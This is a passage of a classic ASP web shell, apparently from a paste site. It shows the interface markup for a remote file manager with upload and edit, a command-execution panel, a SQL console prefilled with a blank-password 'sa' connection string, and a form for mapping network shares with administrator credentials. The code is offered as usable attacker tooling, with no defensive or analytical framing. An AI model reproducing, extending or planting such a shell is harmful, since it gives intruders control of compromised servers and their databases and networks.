  2047. Response.Write "    <TD align=""center""><input type='checkbox' title='Select All' class='xcheck' name='checkboxAll' onClick='checkAll(this);' value='all'></TD>"
  2048. Response.Write "    <TD align=""center""><input type=""button"" onClick=""Delete();"" value=""Delete &raquo;"" style=""font-weight:bold;""></TD>"
  2049. Response.Write "    <TD></TD>"
  2050. Response.Write "</tr>"
  2051. Response.Write "</tbody>"
  2052. Response.Write "<tbody width=""100%"">"
  2053. Response.Write "<tr>"
  2054. Response.Write "    <TD><input type=""button"" onClick=""newFolder();"" value=""New Folder &raquo;"" style=""font-weight:bold;"">&nbsp;&nbsp;&nbsp;<input type=""button"" onClick=""newFile();"" value=""New File &raquo;"" style=""font-weight:bold;"">&nbsp;&nbsp;&nbsp;<input type=""button"" onClick=""window.location.href='#Upload|'+ffList.info.path.addSlash();"" value=""Upload &raquo;"" style=""font-weight:bold;""></TD>"
  2055. Response.Write "<form onSubmit=""CopyMove('copy', getId('remoteCopy').value);return false;"">"
  2056. Response.Write "    <TD align=""right"" colspan=""2"">Copy selected item(s) to :</TD>"
  2057. Response.Write "    <TD colspan=""2""><input name=""remoteCopy"" id=""remoteCopy"" value='' type=""text"" style=""width:250px;""><input type=""submit"" value=""Go &raquo;"" style=""width:50; font-weight:bold;""></TD>"
  2058. Response.Write "</form>"
  2059. Response.Write "    <TD colspan=""3""></TD>"
  2060. Response.Write "</tr>"
  2061. Response.Write "</tbody>"
  2062. Response.Write "<tbody  width=""100%"">"
  2063. Response.Write "<tr>"
  2064. Response.Write "    <TD>&nbsp;</TD>"
  2065. Response.Write "<form onSubmit=""CopyMove('move', getId('remoteMove').value);return false;"">"
  2066. Response.Write "    <TD align=""right"" colspan=""2"">Move selected item(s) to :</TD>"
  2067. Response.Write "    <TD colspan=""2""><input name=""remoteMove"" id=""remoteMove"" value='' type=""text"" style=""width:250px;""><input type=""submit"" value=""Go &raquo;"" style=""width:50; font-weight:bold;""></TD>"
  2068. Response.Write "</form>"
  2069. Response.Write "    <TD colspan=""3""></TD>"
  2070. Response.Write "</tr>"
  2071. Response.Write "</tbody>"
  2072. Response.Write "</table>"
  2073. Response.Write "</div>"
  2074.  
  2075.  
  2076. Response.Write "<div align=""center"">"
  2077. Response.Write "<table id=""tblPicture"" style=""display:none"" align=""center"" width=""95%""><TR><TD align='center' class=""kbrtm""><A href=""javascript:showMode('Explorer', true);"">[Back to Browser]</A></TD></TR><tr><td align='center' class=""kbrtm""><img id=""imgPicture"" src=""" & FilePath & "?mode=image&imgId=loading""></td></tr></table>"
  2078. Response.Write "<BR>&nbsp;</BR>"
  2079. Response.Write "</div>"
  2080.  
  2081. Response.Write "<div id=""tblFileEdit"" style=""display:none"" align=""center"">"
  2082. Response.Write "<form method=""post"" onSubmit=""saveFile();return false;"">"
  2083. Response.Write "<table class=""kbrtm"">"
  2084. Response.Write "<TR><TD align='center'><A href=""javascript:showMode('Explorer', true);"">[Back to Browser]</A></TD></TR>"
  2085. Response.Write "<tr>"
  2086. Response.Write "<td align=""center"">"
  2087. Response.Write "<b>Edit file : <font color=orange id=""lblFile"">"&folderLocation&"</font></b><br>"
  2088. Response.Write "<textarea name=""txtContent"" id=""txtContent"" style='width:800;height:600;'>"
  2089. Response.Write ""
  2090. Response.Write "</textarea>"
  2091. Response.Write "<br><br><input type=submit value="":: Save ::""><br></td></tr><tr><td align=""center"">"
  2092. Response.Write "</td></tr></table></form>"
  2093. Response.Write "</div>"
  2094.  
  2095.  
  2096. Response.Write "<div id=""tblUpload"" style=""display:none"" align=""center"">"
  2097. Response.Write "<table width=""600"">"
  2098. Response.Write "<TR><TD align='center' class=""kbrtm""><A href=""javascript:showMode('Explorer', true);"">[Back to Browser]</A></TD></TR>"
  2099. Response.Write "<tr><td class=""kbrtm"" align=""center"">Location : <b><font color=orange id=""uploadLocation""></font></b></td></tr>"
  2100. Response.Write "<tr><td align=""center"" class=""kbrtm"">"
  2101. Response.Write "<form name=""frmUpload"" method=""post"" enctype=""multipart/form-data"" action=""" & FilePath & "?mode=upload"" ID=""frmUpload"">"
  2102. Response.Write "<input type=hidden name=""linkBack"" id=""linkBack"" value=""#"">"
  2103. Response.Write "<input type=hidden name=""location"" value="""" ID=""txtuploadLocation"">"
  2104. Response.Write "Max: <input type=""text"" name=""max"" value=""1"" size=""2"" ID=""idMax""> <input type=""button"" value=""Set"" onclick=""setid();"">"
  2105. Response.Write "<table>"
  2106. Response.Write "<tr>"
  2107. Response.Write "<td id=""upid"">"
  2108. Response.Write "</td>"
  2109. Response.Write "</tr>"
  2110. Response.Write "</table>"
  2111. Response.Write "<input type=submit value=""::  Upload  ::"">"
  2112. Response.Write "</form>"
  2113. Response.Write "<script>"
  2114. Response.Write "setid();"
  2115. Response.Write "function setid() {"
  2116. Response.Write "    str='';"
  2117. Response.Write "    if (getId('frmUpload').max.value<=0) getId('frmUpload').max.value=1;"
  2118. Response.Write "    if (getId('frmUpload').max.value > 10) getId('frmUpload').max.value=10;"
  2119. Response.Write "    for (i=1; i<=getId('frmUpload').max.value; i++) str+='File '+i+': <input size=30 type=file name=file'+i+'><br>';"
  2120. Response.Write "    getId('upid').innerHTML=str+'<br>';"
  2121. Response.Write "}"
  2122. Response.Write "</script>"
  2123. Response.Write "</td></tr></table>"
  2124. Response.Write "</div>"
  2125.  
  2126. Response.Write "<div id=""tblCmd"" style=""display:none"" align=""center"">"
  2127. Response.Write "<form onSubmit=""runCMD();return false;"" method=""post"">"
  2128. Response.Write "<table class=""kbrtm"">"
  2129. Response.Write "<TR><TD align='center'><A href=""javascript:showMode('Explorer', true);"">[Back to Browser]</A></TD></TR>"
  2130. Response.Write "<TR><TD align='center'><b>Command : </b><input style='color=#DAFDD0' name=""vcommand"" id=""vcommand"" size='57' value='ipconfig /all' type='text'><input value="".: Run :."" type='submit'></TD></TR>"
  2131. Response.Write "<tr>"
  2132. Response.Write "<td align=""center"">"
  2133. Response.Write "<textarea name=""txtCmdResult"" id=""txtCmdResult"" style='width:650;height:400;'>"
  2134. Response.Write "</textarea>"
  2135. Response.Write "</td></tr></table></form>"
  2136. Response.Write "</div>"
  2137.  
  2138. Response.Write "<div id=""tblSql"" style=""display:none"" align=""center"">"
  2139. Response.Write "<form onSubmit=""runSQL();return false;"" method=""post"">"
  2140. Response.Write "<table class=""kbrtm"">"
  2141. Response.Write "<TR><TD align='center' colspan='4' class=""kbrtm""><A href=""javascript:showMode('Explorer', true);"">[Back to Browser]</A></TD></TR>"
  2142. Response.Write "<TR>"
  2143. Response.Write "<TD><b>Connection String : </b></TD><TD colspan='3'><input style='color=#DAFDD0' name=""sqlconnection"" id=""sqlconnection"" size='121' value='Provider=SQLOLEDB;Data Source=127.0.0.1;database=master;uid=sa;pwd=;' type='text'></TD>"
  2144. Response.Write "</TR>"
  2145. Response.Write "<TR>"
  2146. Response.Write "<TD valign='top'><b>SQL Command : </b></TD><TD valign='top'><input type=""button"" id=""commandChange"" onClick=""sqlCommandChange();"" value="" <-> ""></TD>"
  2147. Response.Write "<TD><input style='color=#DAFDD0' name=""sqlcommand"" id=""sqlcommand"" size='100' value='SELECT TOP 1000 * FROM information_schema.tables' type='text'><textarea name=""txtsqlcommand"" id=""txtsqlcommand"" style='display:none;width:620px;height:150px;'>SELECT TOP 1000 * FROM information_schema.tables</textarea></TD>"
  2148. Response.Write "<TD valign='top'><input type=""submit"" value="":: Run ::""></TD></TR>"
  2149. Response.Write "<TR>"
  2150. Response.Write "<TD colspan='4' align=""center""><b><font color=orange id=""affected"">0</font> row(s) <span id=""lstAff"">listed</span> !</b></TD>"
  2151. Response.Write "</TR>"
  2152. Response.Write "</table>"
  2153. Response.Write "</form>"
  2154. Response.Write "<P>&nbsp;</P>"
  2155.  
  2156. Response.Write "<table class=""kbrtm"" id=""sqlContent"" width=""95%"">"
  2157. Response.Write "</table>"
  2158.  
  2159. Response.Write "</div>"
  2160.  
  2161.  
  2162. Response.Write "<div align=""center"">"
  2163. Response.Write "<table id=""tblDrivers"" cellpadding=""0"" cellspacing=""0"" width=""200""><TBODY>"
  2164. Response.Write "<tr><td class=""kbrtm"" style=""background-color:121212"" align=""center""><b>Drivers</b></td></tr>"
  2165. Response.Write driversText
  2166. Response.Write "<tr id=""addMapNetwork""><td class=""kbrtm"" align=""center""><a href=""javascript:showMapNetwork();"">[ + ]</a></td></tr>"
  2167. Response.Write "</TBODY></table>"
  2168. Response.Write "</div>"
  2169.  
  2170. Response.Write "<P>&nbsp;</P>"
  2171. Response.Write "</div>"
  2172.  
  2173. Response.Write "<div id=""tblMenu"" align=""center""><BR>&nbsp;"
  2174. Response.Write "<table cellpadding=""0"" cellspacing=""0"" height=""25""><tr><td class=""kbrtm1"">&nbsp;&nbsp;&nbsp;<a href=""javascript:showMode('Explorer', true);""><b>* Home *</B> </a> | <a href=""#SQL""><b>* SQL *</b></a> | <a href='#CMD'><b>* CMD *</b></a>&nbsp;&nbsp;&nbsp;</td></tr></table><br>"
  2175. Response.Write "</div>"
  2176.  
  2177. Response.Write "<div id=""tblMapDriver"" align=""center"">"
  2178. Response.Write "<form onSubmit=""mapDriver();return false;"" method=""post"">"
  2179. Response.Write "<table class=""kbrtm"">"
  2180. Response.Write "<TR><TD align='center' colspan=""2""><A href=""javascript:hideMapNetwork();"">[Back to Browser]</A></TD></TR>"
  2181. Response.Write "<TR><TD align='center'>Driver Letter : </TD><TD><input style='color=#DAFDD0' id=""driverLetter"" size='2' value='X' type='text'></TD></TR>"
  2182. Response.Write "<TR><TD align='center'>Remote Share : </TD><TD><input style='color=#DAFDD0' id=""remoteShare"" size='40' value='\\Server\Share' type='text'></TD></TR>"
  2183. Response.Write "<TR><TD align='center'>Username :</TD><TD><input style='color=#DAFDD0' id=""userName"" size='40' value='WORKGROUP\Administrator' type='text'></TD></TR>"
  2184. Response.Write "<TR><TD align='center'>Password : </TD><TD><input style='color=#DAFDD0' id=""password"" size='40' value='1234567890' type='text'></TD></TR>"
  2185. Response.Write "<tr><td align=""center"" colspan=""2""><input value="".: Map :."" type='submit'></td></tr>"
  2186. Response.Write "</table></form>"
  2187. Response.Write "</div>"
  2188.  
  2189. Response.Write "<div id=""overlay"">"
  2190. Response.Write "</div>"
  2191.  
  2192. Response.Write "<div id=""tblLoading"" align=""center"">"
  2193. Response.Write "<table width=""200"" height=""100"" style=""background:#303030;border-left:1px solid #5d5d5d; border-right:1px solid #121212; border-bottom:1px solid #121212; border-top:1px solid #5d5d5d;"" cellpadding=""0"" cellspacing=""0"" border=""0""><tr><td align=""center"" valign=""middle""><img src=""?mode=image&imgId=loading""></td></tr></table>"
  2194. Response.Write "</div>"
  2195.  
  2196. Response.Write "</body>"
  2197. Response.Write "</html>"
  2198. %>
Add Comment
Please, Sign In to add comment